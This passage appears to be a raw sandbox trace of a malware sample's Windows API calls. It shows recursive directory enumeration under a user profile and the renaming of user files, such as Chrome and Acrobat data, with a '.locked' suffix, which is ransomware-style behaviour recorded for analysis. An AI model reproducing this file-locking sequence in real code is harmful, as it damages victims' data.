returned 1 [0133.610] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Templates\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName="Java", cAlternateFileName="")) returned 0xffffffff [0133.612] FindFirstFileA (in: lpFileName="C:\\\\Recovery\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29e81c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29e81c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825850 [0133.613] FindFirstFileA (in: lpFileName="C:\\\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.614] FindFirstFileA (in: lpFileName="C:\\\\System Volume Information\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42e010, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0xffffffff [0133.615] FindFirstFileA (in: lpFileName="C:\\\\Users\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb5e1ec40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5e1ec40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825850 [0133.616] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.618] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.622] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.623] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.624] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.626] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.628] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xf2a0e320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2a0e320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0133.704] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.locked"), dwFlags=0x2) returned 1 [0133.706] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2acca00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2acca00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.709] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.711] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName="Color", cAlternateFileName="")) returned 0xffffffff [0133.712] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.714] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.716] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.717] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0133.719] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.721] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2af2b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2af2b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0133.724] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x428418 | out: lpFindFileData=0x428418*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b18cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b18cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428200, cFileName=".", cAlternateFileName="")) returned 0x825a90 [0133.726] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b18cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b18cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.736] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b18cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b18cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0133.739] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b3ee20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b3ee20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.742] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b3ee20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b3ee20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.745] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b3ee20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b3ee20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.747] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b3ee20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b3ee20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.752] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b3ee20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b3ee20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.754] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b64f80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b64f80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.757] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b64f80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b64f80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.760] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b64f80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b64f80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0133.762] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b64f80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b64f80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0133.763] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b64f80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b64f80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.765] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.locked"), dwFlags=0x2) returned 1 [0133.768] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b64f80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b64f80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0133.773] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b8b0e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b8b0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.776] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b8b0e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2b8b0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0133.777] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log.locked"), dwFlags=0x2) returned 1 [0133.781] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2b8b0e0, 